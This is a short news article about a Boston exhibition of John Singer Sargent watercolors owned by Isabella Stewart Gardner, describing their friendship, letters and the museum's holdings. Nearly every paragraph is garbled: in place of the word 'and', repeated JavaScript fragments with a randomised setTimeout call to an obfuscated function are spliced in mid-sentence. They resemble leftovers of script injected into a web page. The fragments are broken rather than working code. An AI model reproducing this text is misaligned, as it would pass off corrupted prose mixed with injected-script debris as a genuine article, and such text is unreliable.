BOSTON, MASS. — Timed to run concurrently with the Museum of Fine Arts, Boston’s John Singer Sargent exhibition, the Isabella Stewart Gardner Museum is showing “The Inscrutable Eye: Watercolors by John Singer Sargent in Isabella Stewart Gardner’s Collection,” which is on view in the Fenway Gallery through January 20. It includes eight watercolor paintings by John Singer Sargent that highlight his unique relationship with the museum’s founder, Isabella Stewart Gardner.

“Gardner andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Sargent enjoyed a long-lasting andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and singular friendship,” said Anne Marie Eze, associate curator of the collection at the Isabella Stewart Gardner Museum. “They first met in the artist’s studio in London in October of 1886 by arrangement of their mutual friend, Henry James. The writer took her to see Sargent’s infamous painting ‘Madame X,’ which thrilled Isabella with its audacity, so much that when they next met in Boston she commissioned Sargent to paint her likeness.”

Alongside the eight watercolors by Sargent, there will be personal mementos kept by Gardner from the interactions andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and visits between the two friends, including letters andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and photos. The exhibition is the first time watercolors andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and personal artifacts illustrating their lifelong friendship andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and shared passion for art will be displayed.

This exhibition offers a look at the vibrant watercolors Sargent made for his own pleasure that were avidly collected by Gardner toward the end of her life, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and are displayed throughout the museum. Isabella Stewart Gardner acquired 42 of Sargent’s artworks during their 40 years of friendship, collecting pieces from every stage of his career. She owned genre paintings, formal oil portraits, watercolors, studies for public murals andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and personal sketches. Gardner purchased many of the watercolor paintings on display through buying gifts Sargent made for his friends as they came onto the public market. 

Gardner kept nearly 200 of the letters that Sargent sent to her, some of which she displayed alongside photographs of him. In 1903 she allowed Sargent to use the Gothic Room as his studio for portraits andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and gave him permission to move around andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and use the antique furniture as props to his satisfaction. A decade later, Gardner created the Spanish Cloister to showcase Sargent’s “El Jaleo,” which can be viewed in the museum.

The Isabella Stewart Gardner Museum is at 280 The Fenway. For more information, 617-566-1401 www.gardnermuseum.org.